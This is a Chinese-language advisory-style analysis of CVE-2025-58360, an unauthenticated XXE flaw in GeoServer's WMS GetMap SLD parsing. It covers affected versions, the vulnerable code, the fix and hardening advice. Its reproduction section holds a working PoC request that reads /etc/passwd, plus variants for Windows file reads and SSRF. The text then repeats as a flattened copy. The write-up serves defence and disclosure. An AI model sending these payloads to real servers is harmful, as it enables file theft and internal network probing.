【CVE-2025-58360】GeoServer WMS GetMap XML 外部实体注入漏洞分析
字数 1660 2025-12-03 12:07:07

CVE-2025-58360 GeoServer WMS GetMap XML外部实体注入漏洞分析

一、漏洞概述

1.1 漏洞基本信息

  • 漏洞编号:CVE-2025-58360
  • 漏洞类型:XML外部实体注入(XXE)
  • 威胁等级:高危
  • 影响组件:GeoServer WMS GetMap接口

1.2 漏洞描述

GeoServer是一个开源的地理信息服务器,用于通过标准化的OGC接口发布和共享空间数据与地图服务。该软件的WMS GetMap接口在解析SLD/XML时未正确配置XML解析器,导致攻击者可通过精心构造的恶意XML文档实现外部实体注入攻击。

1.3 攻击影响

  • 任意文件读取:通过file://协议读取服务器本地文件
  • 服务端请求伪造(SSRF):通过http://协议访问内部网络资源
  • 攻击条件:无需认证即可触发

二、影响范围

2.1 受影响版本

geoserver [2.26.0, 2.26.2)
geoserver [, 2.25.6)
org.geoserver.web:gs-web-app [2.26.0, 2.26.2)
org.geoserver.web:gs-web-app [, 2.25.6)
org.geoserver:gs-wms [2.26.0, 2.26.2)
org.geoserver:gs-wms [, 2.25.6)

2.2 安全版本

geoserver >= 2.26.2
geoserver >= 2.25.6

三、技术原理分析

3.1 漏洞位置

漏洞文件src/wms/src/main/java/org/geoserver/sld/SLDXmlRequestReader.java

3.2 漏洞代码分析

3.2.1 存在漏洞的代码段

public class SLDXmlRequestReader extends XmlRequestReader {
    // ... 其他代码 ...
    
    @Override
    public Object read(Object request, Reader reader, Map kvp) throws Exception {
        if (request == null) {
            throw new IllegalArgumentException("request must be not null");
        }
        
        try {
            GetMapRequest getMap = (GetMapRequest) request;
            StyledLayerDescriptor sld =
                Styles.handler(getMap.getStyleFormat())
                    .parse(reader, getMap.styleVersion(), null, null); // 漏洞点:第四个参数为null
            
            // process the sld
            sld.accept(new ProcessStandaloneSLDVisitor(wms, getMap));
            return getMap;
        } catch (IOException e) {
            throw new ServiceException(cleanException(e));
        }
    }
}

3.2.2 关键漏洞点

StyledLayerDescriptor sld =
    Styles.handler(getMap.getStyleFormat())
        .parse(reader, getMap.styleVersion(), null, null);

漏洞分析

  • 第四个参数null代表未配置EntityResolver
  • GeoTools StyleHandler在缺少EntityResolver时会使用默认XML解析行为
  • 默认配置允许DOCTYPE声明和外部实体解析
  • 攻击者可利用此缺陷注入恶意外部实体

3.3 安全修复方案

3.3.1 修复commit

https://github.com/geoserver/geoserver/commit/e874ced5a6fb4b441b7b075d30e5214ca6ad03e6

3.3.2 修复代码

修复后的代码通过引入安全EntityResolver来禁用外部实体解析:

// 修复后的代码应类似(具体实现参考官方修复)
StyledLayerDescriptor sld =
    Styles.handler(getMap.getStyleFormat())
        .parse(reader, getMap.styleVersion(), null, 
               wms.getCatalog().getResourcePool().getEntityResolver()); // 传入安全解析器

四、漏洞复现与验证

4.1 环境搭建

  1. 部署受影响版本的GeoServer(2.26.0-2.26.1或2.25.5及以下)
  2. 确保WMS服务正常运行

4.2 PoC构造

4.2.1 恶意请求示例

POST /geoserver/wms?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90 HTTP/1.1
Host: target-server
Content-Type: application/xml
Content-Length: 285

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0">
    <NamedLayer>
        <Name>&xxe;</Name>
    </NamedLayer>
</StyledLayerDescriptor>

4.2.2 攻击变种示例

读取Windows系统文件

<!ENTITY xxe SYSTEM "file:///c:/windows/system32/drivers/etc/hosts">

SSRF攻击

<!ENTITY xxe SYSTEM "http://internal-server:8080/secret">

4.3 检测方法

4.3.1 手动检测

  1. 使用Burp Suite或类似工具发送上述PoC请求
  2. 观察响应中是否包含目标文件内容或错误信息

4.3.2 自动化检测

编写检测脚本,检查以下特征:

  • 响应中包含文件内容
  • 错误信息暴露内部路径
  • 响应时间差异(盲注检测)

五、防护措施

5.1 立即修复方案

5.1.1 版本升级

# 升级到安全版本
# 对于2.26.x系列:升级到2.26.2或更高
# 对于2.25.x系列:升级到2.25.6或更高

5.1.2 临时缓解措施

对于无法立即升级的环境:

  1. 网络层防护

    • 配置WAF规则拦截包含DOCTYPE的XML请求
    • 限制GeoServer实例的网络访问权限
  2. 应用层配置

    • 修改web.xml添加输入过滤
    • 禁用不必要的WMS功能

5.2 安全开发规范

5.2.1 XML解析安全配置

// 安全的XML解析器配置示例
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

// 禁用外部实体
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

5.2.2 输入验证

  • 对用户输入的XML进行格式验证
  • 实施白名单机制的标签和属性过滤
  • 限制XML文档大小和复杂度

六、深度防御策略

6.1 架构安全

  1. 最小权限原则:GeoServer运行账户应具有最小必要权限
  2. 网络隔离:将GeoServer部署在DMZ区域,限制内网访问
  3. 文件系统防护:使用容器化技术限制文件系统访问

6.2 监控与审计

  1. 日志监控:监控异常的XML解析请求
  2. 文件访问审计:记录敏感文件访问行为
  3. 网络流量分析:检测异常的外连请求

七、总结

CVE-2025-58360是一个典型的XXE漏洞案例,其根本原因在于XML解析器配置不当。该漏洞的利用门槛较低但危害较大,可能造成敏感信息泄露和内部网络探测。

关键防护要点

  1. 及时更新到安全版本
  2. 严格配置XML解析器安全属性
  3. 实施深度防御策略
  4. 建立完善的安全监控体系

通过系统化的安全措施,可以有效预防此类漏洞的发生和利用,保障地理信息服务的安全稳定运行。

CVE-2025-58360 GeoServer WMS GetMap XML外部实体注入漏洞分析 一、漏洞概述 1.1 漏洞基本信息 漏洞编号 :CVE-2025-58360 漏洞类型 :XML外部实体注入(XXE) 威胁等级 :高危 影响组件 :GeoServer WMS GetMap接口 1.2 漏洞描述 GeoServer是一个开源的地理信息服务器,用于通过标准化的OGC接口发布和共享空间数据与地图服务。该软件的WMS GetMap接口在解析SLD/XML时未正确配置XML解析器,导致攻击者可通过精心构造的恶意XML文档实现外部实体注入攻击。 1.3 攻击影响 任意文件读取 :通过file://协议读取服务器本地文件 服务端请求伪造(SSRF) :通过http://协议访问内部网络资源 攻击条件 :无需认证即可触发 二、影响范围 2.1 受影响版本 2.2 安全版本 三、技术原理分析 3.1 漏洞位置 漏洞文件 : src/wms/src/main/java/org/geoserver/sld/SLDXmlRequestReader.java 3.2 漏洞代码分析 3.2.1 存在漏洞的代码段 3.2.2 关键漏洞点 漏洞分析 : 第四个参数 null 代表未配置 EntityResolver GeoTools StyleHandler在缺少EntityResolver时会使用默认XML解析行为 默认配置允许DOCTYPE声明和外部实体解析 攻击者可利用此缺陷注入恶意外部实体 3.3 安全修复方案 3.3.1 修复commit https://github.com/geoserver/geoserver/commit/e874ced5a6fb4b441b7b075d30e5214ca6ad03e6 3.3.2 修复代码 修复后的代码通过引入安全EntityResolver来禁用外部实体解析: 四、漏洞复现与验证 4.1 环境搭建 部署受影响版本的GeoServer(2.26.0-2.26.1或2.25.5及以下) 确保WMS服务正常运行 4.2 PoC构造 4.2.1 恶意请求示例 4.2.2 攻击变种示例 读取Windows系统文件 : SSRF攻击 : 4.3 检测方法 4.3.1 手动检测 使用Burp Suite或类似工具发送上述PoC请求 观察响应中是否包含目标文件内容或错误信息 4.3.2 自动化检测 编写检测脚本,检查以下特征: 响应中包含文件内容 错误信息暴露内部路径 响应时间差异(盲注检测) 五、防护措施 5.1 立即修复方案 5.1.1 版本升级 5.1.2 临时缓解措施 对于无法立即升级的环境: 网络层防护 配置WAF规则拦截包含DOCTYPE的XML请求 限制GeoServer实例的网络访问权限 应用层配置 修改web.xml添加输入过滤 禁用不必要的WMS功能 5.2 安全开发规范 5.2.1 XML解析安全配置 5.2.2 输入验证 对用户输入的XML进行格式验证 实施白名单机制的标签和属性过滤 限制XML文档大小和复杂度 六、深度防御策略 6.1 架构安全 最小权限原则 :GeoServer运行账户应具有最小必要权限 网络隔离 :将GeoServer部署在DMZ区域,限制内网访问 文件系统防护 :使用容器化技术限制文件系统访问 6.2 监控与审计 日志监控 :监控异常的XML解析请求 文件访问审计 :记录敏感文件访问行为 网络流量分析 :检测异常的外连请求 七、总结 CVE-2025-58360是一个典型的XXE漏洞案例,其根本原因在于XML解析器配置不当。该漏洞的利用门槛较低但危害较大,可能造成敏感信息泄露和内部网络探测。 关键防护要点 : 及时更新到安全版本 严格配置XML解析器安全属性 实施深度防御策略 建立完善的安全监控体系 通过系统化的安全措施,可以有效预防此类漏洞的发生和利用,保障地理信息服务的安全稳定运行。